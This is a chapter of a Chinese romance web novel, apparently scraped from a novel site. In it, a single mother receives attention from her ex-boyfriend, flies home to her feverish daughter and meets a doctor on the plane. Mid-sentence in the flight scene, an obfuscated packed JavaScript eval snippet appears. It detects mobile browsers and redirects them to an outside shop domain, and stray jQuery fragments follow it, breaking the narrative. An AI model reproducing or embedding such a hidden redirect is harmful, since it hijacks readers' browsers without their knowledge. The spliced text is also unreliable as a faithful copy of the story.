文趣网 > 其他小说 > 春潮余温[破镜重圆] > 7. Chapter 07
    乔弥开门的动作一僵。

    “你怎么在门外?”

    靳寒没说话,低头看了眼脚下。

    顺着靳寒的目光看去,乔弥看到门口并排放了三个外卖袋子。

    烤鸭、麻辣烫,还有一杯奶茶。

    都是林岁欢给她点的。

    一个小时前她才说自己不饿,拒绝了靳寒一起吃饭的邀请,一个小时后她的门口就出现了这么多外卖,乔弥一时间有些尴尬。

    “还有什么工作要交代吗?”

    她紧急开启另一个话题,试图让靳寒的注意力从那三个外卖袋子上移开。

    “没有。”

    靳寒终于不再看脚下的外卖,乔弥刚松一口气,却见对方提了提自己手里的拎袋,眼里有一丝戏谑:“本来给你带了晚餐,这么看你应该吃不下了。”

    看清靳寒手里拎着的是什么后,乔弥一怔。

    和靳寒在一起的那一年,他依旧和没在一起时一样冷冰冰。

    除了偶尔对她流露出一丝关心,那一年,乔弥几乎是一直靠着自己对靳寒的喜欢在坚持着的。

    至于想让靳寒像别的男生一样为了女朋友排长队买当下最时兴的奶茶、糖葫芦等美食,简直是异想天开。

    可现在,靳寒手里拎着的烤鸭,是B市市中心最近新开的一家网红店,乔弥今早在同城美食推荐上看过,听说排队都要半小时起步。

    从警局门口出发到市中心也需要十几分钟的车程,靳寒这是自己都没吃饭就为了给她带吃的?

    乔弥一时间不敢深想下去。

    “谢谢,但我朋友已经给我点了不少吃的,确实是吃不下了。”

    她强迫自己冷静下来,拒绝了靳寒。

    拒绝靳寒,是乔弥想都没想过的事情,现在竟然真的从她的嘴里说出来,乔弥有一瞬间以为自己在做梦。

    靳寒被拒绝后也没尴尬,放下了手,点了点头,“那好,我先回房间了,明天早上九点出发去机场,别迟到了。”

    乔弥应下,刚要关门,耳边又传来靳寒的声音。

    “乔弥。”

    “嗯?”

    “我跟宋羡今天是第一次见面,她一直骗我说和你是朋友。我要是提前知道她之前就对你做过不好的事,这次不会让你跟来的。”

    靳寒说完这话,不等乔弥回答,便关上了房门。

    靳寒的房间就在乔弥的对面,她站在自己房间门口,盯着那扇紧闭的房门半晌,才反应过来刚刚靳寒说了什么。

    他这是在跟她解释?

    乔弥突然觉得命运捉弄人。

    靳寒今天做的这些事,要是搁大学里,乔弥一定会高兴得睡不着觉,但现在的她,已经不需要靳寒为她做这些了。

    乔弥叹了口气,拿起外卖,也关上了门。

    *

    林岁欢点的烤鸭和麻辣烫还冒着热气,打开包装,香味顿时弥漫了整个房间,乔弥坐在桌前,却没有半点食欲。

    她强迫自己不要去分析靳寒今天的所有言行,可大脑却像不受控制般一直在循环播放白天的所有情景。

    林岁欢说靳寒在故意向她示好,再狠狠报复她。

    但乔弥知道,他不是这种人。

    可若是这样,又该如何解释靳寒给她带吃的,还主动和她说明他和宋羡的关系?

    她不会自恋到觉得靳寒真的喜欢上了她,毕竟追了他那么多年都没打动过他,又怎么可能在分手五年后又让他爱上自己。

    乔弥越想越乱,最后竟开始对明天和靳寒同乘飞机回N市这件事产生了一丝退缩的情绪。

    *

    如果乔弥知道,避免和靳寒一起回N市的条件,是乔舒舒晚上突然发烧,她临时买了夜里11点的航班赶回N市,她一定不会产生这种逃避的念头。

    乔弥坐在飞机上,因为担心乔舒舒,呼吸有些急促。

    一个小时前,她刚收拾好自己的东西准备睡觉,林岁欢的电话就打了过来。

    电话里,林岁欢的声音透着自责:“弥弥,都怪我,下午不该给舒舒吃冰淇淋的,她现在发烧了,梦魇,一直在喊妈妈,我怎么叫都没用,我现在已经带着舒舒在去医院的路上了,你看看现在还有回N市的飞机吗?”

    来不及回答林岁欢,乔弥当即就打开订票软件买了当天最后一班飞N市的机票。

    好在她住的酒店离机场不算远,行李只是一个手提包,不用托运,才在飞机起飞前半个小时赶上了。

    她走得急,还没来得及和靳寒说,此刻坐定下来,才想起来给靳寒发个信息说一下情况。

    【靳总,家里临时有事,我先回N市了。】

    发完这条信息,乔弥眼前突然黑了一秒,接着,天旋地转的眩晕感袭来。

    她晚上没吃多少,刚刚又是一路跑着赶飞机的,乔弥知道自己是低血糖犯了,死死掐住自己的手心,试图用疼痛让自己清醒些,等着缓过这阵劲儿。

    眼前突然多出一颗糖。

    “是低血糖犯了吗?吃颗糖会好受很多。”

    是她身旁的男人在说话。

    独自带着乔舒舒在N市生活了四年,乔弥早就养成了对周围一切都保持警惕心的习惯,见身旁的男人主动搭讪还给自己递吃的,乔弥防备地往后靠了靠。

    “不用了,不是低血糖,谢谢。”

    她说完,脸转向窗外,有些后悔这次出差没有随身带糖。

    被拒绝,身旁的男人收回了手,低头在包里翻找什么。

    深夜的航班,多数人上了飞机后就闭目养神,机舱里很安静,就显得身旁男人翻包的动静有些大。

    乔弥侧着身子,看不到身旁男人的动作,只听见纸张翻动的声音。

    大约半分钟后,乔弥听到那男人喃喃一声“找到了”,接着,眼前就出现了一本医师执业证书。

    【陈湛,鼓楼医院,内科。】

    乔弥转过头,诧异地看向男人。

    陈湛这个名字,乔弥在同城新闻上看过很多次。

    N市血液科专家,医术医德极高的人物,她常常在网上刷到有患者写给陈湛感谢信,听说前段时间他还成功给一位高龄病人完成了骨髓移植。

    乔弥一直以为,这样厉害、有经验的医生,少说也该是40岁以上了。

    可眼前的男人看上去也不过三十出头,五官立体精致,金丝眼镜后的眼神温柔,这样的外表,是去当明星都能一夜爆火的程度。

    这样在医院里受人敬仰的大人物,刚刚却被她当成坏人,乔弥一时间有些羞愧,忙道歉道:“抱歉陈医生,没认出您。”

    没认出N市有名的陈医生,还将对方当成了人贩子。

    这句话乔弥不好意思说出来,但陈湛应该是听懂了她的意思。

    可陈湛不仅没生气,反而看上去比乔弥更有些不好意思。

    他摆了摆手:“我不是亮身份的意思,只是想跟你证明我不是坏人。”

    陈湛说着,将那颗水果糖重新递给乔弥:“刚刚看你脸色发白,呼吸急促,觉得你应该需要一颗糖。”

    陈湛似乎极力想证明自己是个好人,一只手举着那颗糖,另一只手去开自己的包,将包里的内容全部展示出来。

    一沓学术研究报告、一盒止痛药、一盒消炎药、一盒创可贴、一捆绷带还有一盒棉棒。

    “你放心,我没有恶意,只是当医生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812052|210891||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这么多年习惯了,出门都会备一些应急用品,给需要的人。”

    那本医师执业证书盖了公章,连钢印都清晰明了,陈湛甚至将自己的身份证亮了出来,乔弥要是还不相信对方,倒显得自己矫情了。

    况且她现在低血糖的症状还没缓过去,的确需要一颗糖来恢复力气。

    “谢谢你,陈医生。”

    乔弥朝陈湛笑笑,接过对方手里的糖。

    糖是草莓味的,乔弥吃下去后,渐渐恢复了点力气,恰巧林岁欢发来信息,说是舒舒已经在打点滴了,也不再说梦话了,让乔弥别担心,回来的时候注意安全。

    乔弥松了口气,悬着的心也稍稍落了下来。

    *

    落地N市时已经凌晨一点,乔弥直接打车去了医院。

    舒舒还在睡觉,林岁欢守在一旁,时不时抬头看看点滴还有多少,见乔弥回来,又是一阵自责:“弥弥你回来了,对不起,你才把舒舒给我照顾一天就成了这样……”

    看着林岁欢眼底的乌青,乔弥有些心疼,忙安慰她:“岁欢你别自责,舒舒是病毒性感染,大概是在游乐场被人传染了,不是你的错。你陪舒舒玩了一天辛苦了,回去睡吧,这里有我守着。”

    林岁欢摇了摇头:“我不困,弥弥,我等舒舒挂完水,跟你一起回去。”

    乔弥抬头看了看舒舒头顶挂着的三袋点滴。

    小孩子代谢药物的能力比成人差,点滴的速度也自然慢了些,输液了一个小时才消掉了半袋药水。

    按照这个速度算下来,早上六点才堪堪能够输完。

    她要是和岁欢都待在这儿一整夜,明天两个人都没精神,就没人照顾舒舒了。

    林岁欢顺着乔弥的目光抬头看,也意识到了这一点,声音软了些:“好吧,弥弥,我先回去补觉,明天我来换班。”

    林岁欢说完,又看了看熟睡中的舒舒,才依依不舍地离开。

    乔弥看着林岁欢憔悴的背影,鼻尖一酸。

    这些年,岁欢一休息就来帮她一起带舒舒,在舒舒面前,算是半个妈妈的角色了。

    她毕业那年就被赶出了乔家,从查出怀孕到后来的每一次的产检,都是岁欢陪着她的。

    刚生下舒舒的那一年,身边没有长辈搭把手,也是岁欢一直在帮她,两个什么都不懂的小姑娘,一点点摸索着将舒舒拉扯大。

    岁欢将自己所有的精力都放在了工作和乔弥母女身上,以至于今年27了,还没有时间谈恋爱。

    虽然林岁欢从来没说什么,但乔弥一直都对岁欢有些愧疚。

    这次舒舒生病,岁欢忙前忙后,连觉都没办法睡,乔弥的那种愧疚感比往日更浓。

    她必须加快速度给舒舒找一个靠谱的爸爸。

    为了她不在时舒舒还能有人依靠,也为了让岁欢放心,有更多的时间去追求自己的幸福。

    *

    乔弥胡思乱想着,一整夜竟然也不觉得困,等乔舒舒挂完最后一袋点滴,外面早已天光大亮。

    护士来拔针的时候,乔舒舒也醒了,看到乔弥,先是愣了几秒,然后猛地扑到乔弥的怀里,欣喜道:“妈妈回来了!”

    舒舒的声音带着浓重的鼻音,乔弥一阵心疼,抱起舒舒,摸了摸她的头:“舒舒,还有哪里不舒服吗?”

    乔舒舒摇了摇头,又点了点头:“妈妈,我饿了。”

    “那妈妈带你去吃早餐。你刚退烧,只能吃点清淡的,妈妈带你去吃馄饨好不好?”

    “好,都听妈妈的。”

    乔弥抱着女儿来到医院的餐厅,刚买完馄饨坐下,便听到身后传来一道熟悉的声音。

    “你好,我们又见面了。”